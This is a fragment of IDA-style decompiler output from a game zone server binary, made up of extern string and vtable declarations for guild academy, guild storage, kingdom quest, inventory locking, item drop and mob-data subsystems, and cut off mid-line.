asc_5AF8D0[]; // idb extern char asc_5AF920[]; // idb extern char asc_5AF974[]; // idb extern char asc_5AF9B0[]; // idb extern char asc_5AF9E8[]; // idb extern char asc_5AFA30[]; // idb extern char asc_5AFA80[]; // idb extern char asc_5AFACC[]; // idb extern int (__stdcall *ShineGuildAcademyRewardStorageDeactive::_vftable_)(int, int nGuildNo); // weak extern char aShineguildac_1[]; // idb extern int (__stdcall *ShineGuildAcademyGuildBuff::_vftable_)(int, int nGuildNo); // weak extern char aShineguildac_4[]; // idb extern int (__stdcall *ShineGuildAcademyMasterBuff::_vftable_)(int, __int16 handle); // weak extern char asc_5AFB70[]; // idb extern char aShineplayer_32[]; // idb extern char aShineplayer_36[81]; // weak extern char aShineplayer_42[75]; // weak extern char aShineplayer_17[73]; // weak extern char asc_5AFD10[]; // idb extern char asc_5AFD60[]; // idb extern char aWorldmanager_6[]; // idb extern char asc_5AFDE8[]; // idb extern char asc_5AFE30[]; // idb extern char aWorldmanager_7[]; // idb extern char asc_5AFEC0[]; // idb extern char asc_5AFF18[]; // idb extern char asc_5AFF78[]; // idb extern char aGamedbsessi_65[]; // idb extern char asc_5B0008[]; // idb extern char aGamedbsessi_82[]; // idb extern char asc_5B0090[]; // idb extern char asc_5B00E0[]; // idb extern char asc_5B0140[]; // idb extern char asc_5B0190[]; // idb extern char asc_5B01F0[]; // idb extern char asc_5B0240[]; // idb extern char asc_5B0290[]; // idb extern char asc_5B02F0[]; // idb extern char asc_5B0340[]; // idb extern char asc_5B0390[]; // idb extern char asc_5B03D8[]; // idb extern char aShineobject_47[]; // idb extern char asc_5B0498[]; // idb extern char asc_5B0500[]; // idb extern char asc_5B0558[]; // idb extern char aGuildacademy_5[]; // idb extern char aShineguildacad[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char asc_5B0670[]; // idb extern char asc_5B06C8[]; // idb extern char aGuildacademy_1[]; // idb extern char aGuildacademy_7[]; // idb extern char aGuildacademy_8[]; // idb extern char aGuildacademy_3[]; // idb extern int (__stdcall *ShineGuildAcademyRewardStorageWithdraw::_vftable_)(int, __int16 GuildInven); // weak extern char aGuildacademy_2[]; // idb extern int (__stdcall *ShineGuildAcademyRewardStorageDeposit::_vftable_)(int, __int16 GuildInven); // weak extern char aGuildacademy_6[]; // idb extern int (__stdcall *ShineGuildAcademyRewardStorageItemInfoZonRng::_vftable_)(int, __int16 handle); // weak extern int (__stdcall *ShineGuildAcademyRewardStorageRewardInfoZonRng::_vftable_)(unsigned int guild, __int16 GuildInven); // weak extern char aGuildacademy_4[]; // idb extern char aGuildacademyre[]; // idb extern char aGuildacademy_0[]; // idb extern char aGarsm_rewardin[]; // idb extern char aShineguildac_3[]; // idb extern char aShineguildac_0[]; // idb extern char aShineguildac_2[]; // idb extern char aShineguildac_5[]; // idb extern char aZonelistens_22[]; // idb extern char aZonelistens_17[]; // idb extern char aShineobject_79[]; // idb extern char asc_5B0C20[]; // idb extern char asc_5B0C70[]; // idb extern char asc_5B0CC0[67]; // weak extern char asc_5B0D04[]; // idb extern char asc_5B0D40[]; // idb extern char asc_5B0D88[]; // idb extern char asc_5B0DD8[]; // idb extern char asc_5B0E28[67]; // weak extern char asc_5B0E6C[]; // idb extern char aShineobject_73[]; // idb extern char aShineobject_31[]; // idb extern char asc_5B0F0C[]; // idb extern char asc_5B0F40[]; // idb extern char aGuildRenameNul[]; // idb extern char aGuildRenameN_0[]; // idb extern char asc_5B0FC8[]; // idb extern char asc_5B1008[]; // idb extern char aGuildRetypeN_0[]; // idb extern char aGuildRetypeNul[]; // idb extern char asc_5B1090[]; // idb extern char asc_5B10D0[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aGuildstorage_0[]; // idb extern char asc_5B1168[]; // idb extern char asc_5B11A0[]; // idb extern char asc_5B11E8[]; // idb extern int (__stdcall *ShineGuildStorageWithdraw::_vftable_)(int, __int16 GuildInven); // weak extern char aGuildstorageGu[]; // idb extern char aZonelistens_16[]; // idb extern char aShineguildst_1[]; // idb extern char aShineguildst_0[]; // idb extern char asc_5B12F0[82]; // weak extern char aGtentrymaperr1[]; // idb extern char aGtentrymaperr0[]; // idb extern char aShinemobMb_sen[]; // idb extern char asc_5B1398[]; // idb extern char asc_5B13F0[]; // idb extern char asc_5B1448[]; // idb extern char asc_5B14A0[]; // idb extern int (__stdcall *ShineGuildStorageDeactive::_vftable_)(int, __int16 handle); // weak extern char aShineguildstor[]; // idb extern char aPineeventsc_83[]; // idb extern char aFieldmapFm_g_3[]; // idb extern char aFieldmapFm_g_4[]; // idb extern char aFieldmapFm_gui[]; // idb extern char aShineobject_53[]; // idb extern char asc_5B1628[]; // idb extern char asc_5B1670[]; // idb extern char asc_5B16C0[]; // idb extern char aWorldmanage_97[]; // idb extern char aWorldmanage_63[]; // idb extern char aWorldmanage_89[105]; // weak extern char asc_5B182C[]; // idb extern char aWorldmanage_55[]; // idb extern char asc_5B18A0[]; // idb extern char aWorldmanage_41[]; // idb extern char asc_5B1940[]; // idb extern char aGamedbsessi_47[]; // idb extern char aGamedbsessi_50[]; // idb extern char aGamedbsessi_64[]; // idb extern char aWorldmanage_40[]; // idb extern char asc_5B1AA0[]; // idb extern char asc_5B1B00[]; // idb extern char scriptname[]; // idb extern char aDDDD[]; // idb extern char aSDDDDDDDDSDDDS[]; // idb extern char aWorldmanager_2[]; // idb extern char aConstFieldopti[]; // idb extern char aWorldmanage_84[]; // idb extern char asc_5B1C98[]; // idb extern char aWorldmanage_49[]; // idb extern char aWorldmanager_4[]; // idb extern char aWorldmanage_77[]; // idb extern char aWorldmanage_98[]; // idb extern char aWorldmanage_76[]; // idb extern char aPacketTooLong[]; // idb extern char aGuildtourament[]; // idb extern char aGuildtourame_0[]; // idb extern char aShineobject_95[]; // idb extern char asc_5B1F38[]; // idb extern char asc_5B1F80[]; // idb extern char asc_5B1FC0[]; // idb extern char aWorldmanage_36[]; // idb extern char aGuildt0407[]; // idb extern char aGuildt0406[]; // idb extern char aGuildt0405[]; // idb extern char aGuildt0404[]; // idb extern char aGuildt0403[]; // idb extern char aGuildt0402[]; // idb extern char aGuildt0401[]; // idb extern char aGuildt0400[]; // idb extern int (__thiscall *RoutionInterface::_vftable_)(void *p, char); // weak extern int (__thiscall *ScriptInterrupt::InterruptEventArgument::_vftable_)(void *p, char); // weak extern int (__stdcall *AxialListFlagCaptureCancel::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *ScriptInterrupt::InterruptEventWinGuild::_vftable_)(void *p, char); // weak extern int (__thiscall *DiceGame::_vftable_)(DiceGame *this, int nTick); // weak extern char aGuildtourmen_2[]; // idb extern char aGuildtourna_15[]; // idb extern char aGuildtourna_26[]; // idb extern char aGuildtournam_7[]; // idb extern char aGuildtourmen_1[]; // idb extern char aId[]; // idb extern char aGuildtourmen_6[]; // idb extern char aGuildtournam_8[]; // idb extern char aGuildSkillNotF[]; // idb extern char aGuildtourmen_3[]; // idb extern char aGuildtourna_24[]; // idb extern char aGuildtourmen_5[]; // idb extern char aGuildtourmen_0[]; // idb extern char aGuildtourmen_9[]; // idb extern char aGuildtourna_12[]; // idb extern char aGuildtournam_5[]; // idb extern char aGuildtournam_3[]; // idb extern char asc_5B2460[]; // idb extern char aGuildtourna_21[]; // idb extern char aGuildtourna_13[]; // idb extern char aTemplog[]; // idb extern char aGuildtournam_1[]; // idb extern char aGuildtourna_27[]; // idb extern char aGuildtourna_17[]; // idb extern char aGuildtourmen_8[]; // idb extern char aGuildtourmen_7[]; // idb extern char aGuildtourna_20[]; // idb extern char aGuildtournam_0[]; // idb extern int (__thiscall *GuildTournamentSystem::_vftable_)(void *p, char); // weak extern char aLevelhandicap4[]; // idb extern char aLevelhandica_1[]; // idb extern char aLevelhandica_2[]; // idb extern char targetcolumn[]; // idb extern char aByleveldiff[]; // idb extern char aLeveldiff[]; // idb extern char aPartyexperienc[]; // idb extern char aPartyexperie_1[]; // idb extern char aPartyexperie_0[]; // idb extern char aBypartymem[]; // idb extern char aPartymember[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *ListMaximumSearch::_vftable_)(int ele, int handle); // weak extern char aHitmelistEne_0[]; // idb extern int (__thiscall *ScanEnemy4ExpDist::_vftable_)(ScanEnemy4ExpDist *this, int ele, int handle); // weak extern char aScanenemy4ex_1[]; // idb extern char aScanenemy4ex_0[]; // idb extern char aScanenemy4ex_4[]; // idb extern char aScanenemy4ex_5[]; // idb extern char aScanenemy4ex_2[]; // idb extern char aScanenemy4expd[]; // idb extern char aLevelhandica_0[]; // idb extern int (__thiscall *ExperienceDistribute::_vftable_)(ExperienceDistribute *this, int ele, __int16 handle); // weak extern char aExperiencedi_0[]; // idb extern char aExperiencedi_3[]; // idb extern char aExperiencedi_2[]; // idb extern char aExperiencedist[]; // idb extern char aExperiencedi_1[]; // idb extern char aHitmelistHml_l[]; // idb extern char aErrorInReadExp[]; // idb extern char a__9dataShin_39[]; // idb extern char a__9dataShin_65[]; // idb extern char aHitmelistEne_2[]; // idb extern char aHitmelistEne_1[]; // idb extern char aHitmelistEnemy[]; // idb extern char aScanenemy4ex_3[]; // idb extern char aWorldmanage_59[]; // idb extern char aShineobject_27[]; // idb extern char aShineobject_28[]; // idb extern char aShineobject_29[]; // idb extern char aHolypromisecen[]; // idb extern char aZonelistense_0[]; // idb extern char asc_5B2E10[]; // idb extern char asc_5B2E58[]; // idb extern char asc_5B2E90[]; // idb extern char asc_5B2EE8[]; // idb extern char asc_5B2F30[]; // idb extern char asc_5B2F70[]; // idb extern char asc_5B2FC0[]; // idb extern char asc_5B3000[]; // idb extern char asc_5B3060[]; // idb extern char asc_5B30AC[]; // idb extern char asc_5B30EC[]; // idb extern char aId_deletenow[]; // idb extern int (__stdcall *KickPlayer::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *IsAnybody::_vftable_)(int, int, int distancesquar); // weak extern char aMapclusterm_10[]; // idb extern char aMapclusterma_5[]; // idb extern char aMapclusternama[]; // idb extern char aMapclusterna_5[]; // idb extern char aKickplayerAli_[]; // idb extern char aFieldmapFm_kic[]; // idb extern char aFieldmapFm_exi[]; // idb extern char aZonelistense_3[]; // idb extern int (__stdcall *DeleteInstanceDungeon::_vftable_)(int ele, __int16 handle); // weak extern int (__stdcall *ListSearchSame::_vftable_)(int ele, int handle); // weak extern char aMapclusterma_9[]; // idb extern char aMapclusterna_4[]; // idb extern char aNotFoundEtcLim[]; // idb extern char aLimittimemes_0[]; // idb extern char aNotFoundEtcL_0[]; // idb extern char aLimittimemessa[]; // idb extern char aMapclusterma_0[]; // idb extern char aMapclusterma_6[]; // idb extern char aMapclusterma_7[]; // idb extern char aMapclusterma_8[]; // idb extern char aMapclusterma_1[]; // idb extern char aLinktable[]; // idb extern char aLinktitle[]; // idb extern char aCannotaddanymo[]; // idb extern char aRecalldisablef[]; // idb extern char aZonelistens_23[]; // idb extern int (__stdcall *InventoryLocking::InvenCellReleaser::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_CenChange::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_FameChange::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_CellClear::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_CellChange::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_CellChangeSmall::_vftable_)(int, int lc, char inchest); // weak extern int (__thiscall *InventoryLocking::InvenCellReleaser_GuildStorageClear::_vftable_)(InventoryLocking::InvenCellReleaser_CellClear *this, #325 *, int lc, int nBeforeItemID); // weak extern int (__thiscall *InventoryLocking::InvenCellReleaser_GuildStorageChange::_vftable_)(InventoryLocking::InvenCellReleaser_CellChange *this, #325 *, int lc, int nType); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::_vftable_)(int flag, int lc, char inchest); // weak extern int (__thiscall *InventoryLocking::InvenCellReleaser_FurnitureReloc::_vftable_)(InventoryLocking::InvenCellReleaser_CellChange *this, #325 *, int lc, int inchest); // weak extern int (__thiscall *InventoryLocking::InvenCellReleaser_FurnitureCellClear::_vftable_)(InventoryLocking::InvenCellReleaser_CellClear *this, #325 *, int lc, int inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_EquipLocation::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_ItemUse::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_PointStone::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_QuestReward::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *InventoryLocking::InventoryCellLock::_vftable_)(int ele, __int16 handle); // weak extern int (__stdcall *InventoryLocking::InvenCellReleaser_LinkInfo::_vftable_)(int, int lc, char inchest); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aInventorylocki[]; // idb extern char aInventorylo_42[]; // idb extern char aInventoryloc_6[]; // idb extern char aInventorylo_39[]; // idb extern char aInventorylo_17[]; // idb extern char aInventorylo_36[]; // idb extern char aInventorylo_27[]; // idb extern char aInventoryloc_3[]; // idb extern char aInventorylo_44[]; // idb extern char aInventorylo_43[]; // idb extern char aInventorylo_28[]; // idb extern char aInventorylo_45[]; // idb extern char aInventorylo_25[]; // idb extern int (__stdcall *InventoryLocking::InventoryCellLockList::_vftable_)(int inven, int ignore); // weak extern char aInventorylo_18[]; // idb extern char aInventorylo_34[]; // idb extern char aInventorylo_10[]; // idb extern char aInventorylo_12[]; // idb extern char aInventorylo_22[]; // idb extern char aInventoryloc_5[]; // idb extern char aInventorylo_29[]; // idb extern char aInventorylo_33[]; // idb extern char aInventoryloc_8[]; // idb extern char aInventorylo_31[]; // idb extern char aInventoryloc_9[]; // idb extern char aInventoryloc_1[]; // idb extern char aInventorylo_15[]; // idb extern char aInventorylo_16[]; // idb extern char aInventorylo_11[]; // idb extern char aInventorylo_35[]; // idb extern char aInventorylo_40[]; // idb extern char aInventorylo_37[]; // idb extern char aInventorylo_20[]; // idb extern char aInventorylo_32[]; // idb extern char aInventorylo_30[]; // idb extern char aInventorylo_19[]; // idb extern char aInventorylo_13[]; // idb extern char aInventoryloc_4[]; // idb extern char aItemlotanaly_0[]; // idb extern char aItemlotanalyse[]; // idb extern char aInventorylo_38[]; // idb extern char aInventorylo_21[]; // idb extern char aInventorylo_24[]; // idb extern char aInventoryloc_7[]; // idb extern char aInventorylo_14[]; // idb extern char aInventoryloc_0[]; // idb extern char aInventorylo_41[]; // idb extern char aInventorylo_23[]; // idb extern char aInventoryloc_2[]; // idb extern char aScrstring[]; // idb extern char aScript[]; // idb extern char aButtonok[]; // idb extern char aButtoncancel[]; // idb extern char asc_5B4550[]; // idb extern char asc_5B458C[]; // idb extern char asc_5B45C4[]; // idb extern char aGamedbsessi_12[]; // idb extern char aGamedbsessi_10[]; // idb extern char aServermenufu_4[]; // idb extern char aServermenufu_3[]; // idb extern char aServermenuf_13[]; // idb extern char aServermenufu_2[]; // idb extern char aItembreakwarn1[]; // idb extern char aServermenuf_15[]; // idb extern char aItemdropwarn[]; // idb extern char aItemdropperId_[]; // idb extern char aItembreakwarn0[]; // idb extern char aItembreakerI_1[]; // idb extern char aItemdropfrom_5[]; // idb extern char aItemdropfrom_2[]; // idb extern char aItemdropfrommo[]; // idb extern char aItemdropfrom_3[]; // idb extern char aItemdropfrom_4[]; // idb extern char aItemdropfrom_0[]; // idb extern char aItemdropfrom_7[]; // idb extern char aChecksumErro_2[]; // idb extern char aItemdropgroup[]; // idb extern char aDropitemmana_0[]; // idb extern char a__9dataShine_7[]; // idb extern char a__9dataShin_62[]; // idb extern char aChecksumErro_0[]; // idb extern char aItemgroup[]; // idb extern char aItemdropfro_10[]; // idb extern char aDropitemmanage[]; // idb extern char a__9dataShin_54[]; // idb extern char a__9dataShineWo[]; // idb extern char aItemdropfrom_6[]; // idb extern char aItemdropfrom_8[]; // idb extern char aItemdropfrom_1[]; // idb extern char aItemdropfrom_9[]; // idb extern char aItemgroupcla_0[]; // idb extern char aItemgroupcla_5[]; // idb extern char aItemgroupcla_1[]; // idb extern char aItemgroupcla_7[48]; // weak extern char aItemgroupcla_4[]; // idb extern char aItemgroupcla_3[]; // idb extern char aItemgroupclass[]; // idb extern char aItemgroupcla_2[]; // idb extern char aTotallot[]; // idb extern char aMovelot[]; // idb extern char aTo1[]; // idb extern char aTo0[]; // idb extern char aFrom1[]; // idb extern char asc_5B4D44[]; // idb extern char aFrom0[]; // idb extern char aAct[]; // idb extern char aItemlotinspe_0[]; // idb extern char aItemidNotMatch[]; // idb extern char asc_5B4D90[]; // idb extern char aItemlotinspe_1[]; // idb extern char aTotalitemnumbe[]; // idb extern char asc_5B4DD0[]; // idb extern MobTacticElement::MobActionArgument stru_5B4DD8; // idb extern char asc_5B5114[]; // idb extern char a__9dataShin_20[]; // idb extern char aItemrandomop_2[]; // idb extern char aOptionnumberTo[]; // idb extern char aChecksumNotMat[]; // idb extern char aRandomoptionta[]; // idb extern char aItemrandomop_1[]; // idb extern char aItemrandomop_0[]; // idb extern char a__9dataShin_73[]; // idb extern char a__9dataShin_64[]; // idb extern char aItemrandomop_3[]; // idb extern char aItemrandomopti[65]; // weak extern char aItemrandomop_4[]; // idb extern char aItemsinchestIi[]; // idb extern char asc_5B53A0[]; // idb extern char asc_5B53E0[65]; // weak extern char aGamedbsessi_97[]; // idb extern char aKingdomquesten[]; // idb extern char aKingdomquest_3[]; // idb extern int (__fastcall *KingdomQuestGate::KingdomQuestGateKeeper::_vftable_)(KingdomQuestGate::KingdomQuestGateKeeper *this); // weak extern char aKqentrymaperr1[]; // idb extern char aKqentrymaperr0[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aKingdomques_12[]; // idb extern char aKingdomquestKi[]; // idb extern int (__stdcall *ListIteratorKingdomQuestMapFind::_vftable_)(int ele, __int16 handle); // weak extern char aListiteratorki[]; // idb extern char aKingdomques_14[]; // idb extern int (__stdcall *AxialListObjectClear::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistobj_0[]; // idb extern char aAxiallistobj_3[]; // idb extern char aAxiallistobj_1[]; // idb extern char aFieldmapFm_cle[]; // idb extern char asc_5B5660[]; // idb extern char aShineobject_72[]; // idb extern char asc_5B56C8[]; // idb extern char asc_5B5700[]; // idb extern char aShineobject_87[]; // idb extern char aShineobject_24[]; // idb extern char aShineobject_25[]; // idb extern char asc_5B57CC[]; // idb extern char aKingdomquest_0[]; // idb extern char aKingdomques_13[]; // idb extern char aKingdomquest_6[]; // idb extern char aKingdomquest_2[]; // idb extern char aIsInDead[]; // idb extern char aKingdomques_11[]; // idb extern char asc_5B5918[]; // idb extern char aIsInBooth[]; // idb extern char aKqentryincamp1[]; // idb extern char aKqentryincamp0[]; // idb extern char aKingdomquest_4[]; // idb extern char aKingdomquestga[]; // idb extern char aKingdomques_10[]; // idb extern char aKingdomquest_1[]; // idb extern char asc_5B5A24[]; // idb extern char aWorldmanage_75[]; // idb extern char aSuccess_0[]; // idb extern char aFailKqNotExist[]; // idb extern char aWorldmanager_3[]; // idb extern char aWms_nc_kq_w2z_[]; // idb extern char aWorldmanage_45[]; // idb extern char aKingdomquest_5[]; // idb extern char asc_5B5B88[]; // idb extern char asc_5B5BD0[]; // idb extern char aKingdomques_15[]; // idb extern char aKingdomquest_9[]; // idb extern char aKingdomquestKq[]; // idb extern char aShineobject_26[]; // idb extern char asc_5B5CCC[]; // idb extern char asc_5B5D08[]; // idb extern char aWorldmanage_91[]; // idb extern int (__stdcall *KingdomQuest::KingdomQuestContainer::_vftable_[3])(__int16 hnd); // weak extern char aErr_kingdomq_0[]; // idb extern char aErr_kingdomq_2[]; // idb extern char aWorldmanage_12[]; // idb extern char aNotEmpty2[]; // idb extern char aNotFound2[]; // idb extern char aNotFound[]; // idb extern char aNotEmpty[]; // idb extern char aSubmapInUse[]; // idb extern char aWorldmanage_94[]; // idb extern char aErr_kingdomque[]; // idb extern char aWorldmanage_53[]; // idb extern char aErr_kingdomq_1[]; // idb extern char aWorldmanage_96[]; // idb extern char aTitle[]; // idb extern char aWorldmanage_25[]; // idb extern char aWorldmanage_48[]; // idb extern char aKingdomquest_8[]; // idb extern char asc_5B6014[]; // idb extern char asc_5B6044[]; // idb extern char aKqentrychecklo[]; // idb extern char aKdeddyhill00[]; // idb extern char aKqcontribute_3[]; // idb extern char aKqcontribute_2[]; // idb extern char aKqcontribute_0[]; // idb extern char aKqcontributeKq[]; // idb extern char aKqcontribute_4[]; // idb extern char aKqcontribute_1[]; // idb extern char a__9dataShineKi[35]; // weak extern char a9dataShineWorl[]; // idb extern char aCanattack[]; // idb extern char aSendmybrief[]; // idb extern char aSublayerSublay[]; // idb extern char aSublayerintera[]; // idb extern char a__9dataShin_49[]; // idb extern char a__9dataShin_63[]; // idb extern char asc_5B6310[]; // idb extern char asc_5B6358[]; // idb extern char asc_5B63A0[]; // idb extern char asc_5B63D0[]; // idb extern char asc_5B6418[]; // idb extern char aWorldmanage_68[65]; // weak extern char aWorldmanage_10[]; // idb extern char aItemusefunctio[]; // idb extern char aItemusefunct_0[]; // idb extern char aIm_divorce[]; // idb extern char aPropose[]; // idb extern char aNoeffect[]; // idb extern char aBossmobdetect[]; // idb extern char aMemoryfeather[]; // idb extern char aAmountmp[]; // idb extern char aAmounthp[]; // idb extern char aLicenceclear[]; // idb extern char aStatclearempow[]; // idb extern char aStatclearstat[]; // idb extern char aUsesilverwings[]; // idb extern char aItemusefunct_4[]; // idb extern char aItemusefunct_1[]; // idb extern char aItemusefunct_3[]; // idb extern char a__9dataShine_4[]; // idb extern char asc_5B6648[]; // idb extern char aUD[]; // idb extern char aLD_0[]; // idb extern char aContent[]; // idb extern char aIndex_0[]; // idb extern char asc_5B66A8[]; // idb extern char aContainer[]; // idb extern char aItemid[]; // idb extern char asc_5B6704[]; // idb extern char asc_5B673C[]; // idb extern char aItemconversion[]; // idb extern char aItemconversi_0[]; // idb extern char aMagiccontain_8[]; // idb extern char aMagiccontain_7[]; // idb extern char aMagiccontain_3[]; // idb extern char aMagiccontain_6[]; // idb extern char aUsepresentbox[]; // idb extern char aMagiccontain_4[]; // idb extern char aMagiccontain_0[]; // idb extern char aContainerstrNu[]; // idb extern char aMagiccontainer[]; // idb extern char aMagiccontain_9[]; // idb extern char aMagiccontain_5[]; // idb extern char a__9dataShin_71[]; // idb extern char a5zoneserverdum[]; // idb extern char aSize_txt[]; // idb extern char aMapblockMapd_1[]; // idb extern char aMapblockMapdoo[]; // idb extern char aMapblockMapd_2[]; // idb extern char aMapblockMapd_7[]; // idb extern char aMapblockMapd_3[]; // idb extern char aMapblockMapd_6[]; // idb extern char aR[]; // idb extern char a__9dataShin_12[]; // idb extern char aMapblockMapd_4[]; // idb extern char aMapblockMapd_5[]; // idb extern char aMapblockMapd_0[]; // idb extern char aMapblockMapblo[]; // idb extern char aMapblockMapb_0[]; // idb extern char a__9dataShineBl[]; // idb extern char aMapblockinfo_2[]; // idb extern char a__9dataShin_37[]; // idb extern char aMapblockinfo_4[]; // idb extern char aMapblockinform[]; // idb extern char aMapblockinfo_3[]; // idb extern char aMapblockMapb_3[]; // idb extern char aMapblockinfo_0[]; // idb extern char aRb[]; // idb extern char a__9dataShin_40[]; // idb extern char aMapblockMapb_1[]; // idb extern char aMapblockMapb_4[]; // idb extern char aMapblockinfo_1[]; // idb extern char aMapblockMapd_8[]; // idb extern char aMapblockMapd_9[]; // idb extern char aMapblockMapb_2[]; // idb extern char aNotFoundEtcDun[]; // idb extern char aDungeontimeout[]; // idb extern char aMapclustermana[]; // idb extern char aMapclusterma_3[]; // idb extern char aMapclusterna_3[]; // idb extern char aMapclusterma_2[]; // idb extern char aMapclusterna_2[]; // idb extern char aMapclusterna_1[]; // idb extern char asc_5B70B0[]; // idb extern char asc_5B70F0[]; // idb extern char asc_5B7130[]; // idb extern char asc_5B7168[]; // idb extern char asc_5B71B0[]; // idb extern char aTownportalda_1[]; // idb extern char a__9dataShineTo[]; // idb extern char aTownportalda_0[]; // idb extern char aTownportaldata[]; // idb extern char asc_5B726C[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aMapclusterm_11[]; // idb extern char asc_5B72F0[]; // idb extern char aJob2_dn02[]; // idb extern char aJob2_dn01[]; // idb extern char mapindex[]; // idb extern char a__9dataShin_44[]; // idb extern char aMinihouseendur[]; // idb extern char a__9dataShin_60[]; // idb extern char aMinihouseobj_1[]; // idb extern int (__stdcall *MobExplosionElement::MobExplosionBase::_vftable_)(int mob); // weak extern int (__thiscall *MobExplosionElement::MobExplosionEnemy::_vftable_[3])(MobExplosionElement::MobExplosionBase *this, int mob); // weak extern int (__thiscall *MobExplosionElement::MobExplosionTarget::_vftable_[2])(MobExplosionElement::MobExplosionBase *this, int mob); // weak extern int (__thiscall *MobExplosionElement::MobExplosionAlways::_vftable_)(MobExplosionElement::MobExplosionBase *this, int mob); // weak extern int (__stdcall *AxialListAggroAdjust::_vftable_)(int, int, int distancesquar); // weak extern char aMiscdatatab_11[]; // idb extern char aMiscdatatab_23[]; // idb extern char a99[3]; // weak extern char a01[3]; // weak extern char aMiscdatatabl_1[]; // idb extern char aAcmrminus[10]; // weak extern char aSlow[5]; // weak extern char aStun[5]; // weak extern char aMiscdatatab_34[]; // idb extern char aMiscdatatab_27[]; // idb extern char aExpandskill[]; // idb extern char asc_5B75D0[]; // idb extern char aMiscdatatabl_4[]; // idb extern char aMiscdatatabl_5[]; // idb extern char aMiscdatatab_16[]; // idb extern char aMiscdatatab_13[]; // idb extern char aMiscdatatab_29[]; // idb extern char aMiscdatatab_10[]; // idb extern char aMiscdatatabl_3[]; // idb extern char aMiscdatatabl_8[]; // idb extern char aMobexplosion_1[]; // idb extern char aAbnormalsta_77[]; // idb extern char aAbnormalstat_8[]; // idb extern char aAbnormalsta_39[]; // idb extern char aAbnormalsta_61[]; // idb extern char aAbnormalsta_63[]; // idb extern char asc_5B7948[]; // idb extern char asc_5B7994[]; // idb extern char asc_5B79C8[]; // idb extern char asc_5B7A10[]; // idb extern int (__stdcall *AbnormalStateContainer::ListIteratorAbstateEquip::_vftable_)(int ele, __int16 handle); // weak extern char aAbnormalsta_75[]; // idb extern char asc_5B7A84[]; // idb extern char aAxiallistaggro[]; // idb extern char asc_5B7ADC[]; // idb extern char asc_5B7B10[]; // idb extern char asc_5B7B40[]; // idb extern char asc_5B7B8C[]; // idb extern char asc_5B7BBC[]; // idb extern char aShineobject_44[]; // idb extern char aShineobject_45[]; // idb extern char asc_5B7C88[]; // idb extern char aGamedbsessi_37[]; // idb extern char asc_5B7CFC[]; // idb extern char asc_5B7D34[]; // idb extern char asc_5B7D6C[]; // idb extern char asc_5B7DAC[]; // idb extern char asc_5B7DE8[]; // idb extern char asc_5B7E20[]; // idb extern char asc_5B7E54[]; // idb extern char aShineobject_20[]; // idb extern char asc_5B7ECC[]; // idb extern char asc_5B7F08[]; // idb extern char aShineobject_21[]; // idb extern char asc_5B7F7C[]; // idb extern char asc_5B7FAC[]; // idb extern char asc_5B7FE4[]; // idb extern char aMiscdatatabl_2[]; // idb extern char aShineobject_22[]; // idb extern char aShineobject_23[]; // idb extern char asc_5B80A8[]; // idb extern char aMiscdatatabl_6[]; // idb extern char aMiscdatatabl_0[]; // idb extern char aMiscdatatab_20[]; // idb extern char aMiscdatatab_15[]; // idb extern char aNeutralization[]; // idb extern char aMiscdatatab_32[]; // idb extern char aMiscdatatab_18[]; // idb extern char aMiscdatatab_14[]; // idb extern char aMiscdatatab_12[]; // idb extern char aLefthand[]; // idb extern char aMiscdatatab_30[]; // idb extern char aMiscdatatabl_7[]; // idb extern char aAbstatereset_0[]; // idb extern char aDead[]; // idb extern char aTargetobj[]; // idb extern char aTargetloc[]; // idb extern char aMyobj[]; // idb extern char aMyloc[]; // idb extern char aMiscdatatab_17[]; // idb extern char aMiscdatatab_24[]; // idb extern char aAlways[]; // idb extern char aEnemy[]; // idb extern char aMiscdatatab_22[]; // idb extern char aTarget[]; // idb extern char aCaster[]; // idb extern char aMiscdatatab_25[]; // idb extern char aRoam[]; // idb extern char aRampage[]; // idb extern char aChase[]; // idb extern char aRoot[]; // idb extern char aMiscdatatab_19[]; // idb extern char aMiscdatatableM[]; // idb extern char aMiscdatatab_26[]; // idb extern char aMiscdatatab_28[]; // idb extern char aSkillbreedmob[]; // idb extern char aMobtargetbou_0[]; // idb extern char asc_5B84F0[]; // idb extern char asc_5B8528[]; // idb extern char aErrorInReadMis[]; // idb extern char a__9dataShin_72[]; // idb extern char aMobdataboxOper[]; // idb extern char aMagiccontai_10[]; // idb extern char aMobattackse_11[]; // idb extern char aMagiccontain_1[]; // idb extern char aMobattackseq_1[]; // idb extern char aMobattackseq_7[]; // idb extern char aMobattackseq_2[]; // idb extern char aMobattackse_10[]; // idb extern char aNextskill[]; // idb extern char aMobattackseq_0[]; // idb extern char aTargetstate[]; // idb extern char aHplow_0[]; // idb extern char aMobattackseque[]; // idb extern char aOutofrange[]; // idb extern char aMobattackse_12[]; // idb extern char aSkillchange[]; // idb extern char aMobattackseq_5[]; // idb extern char 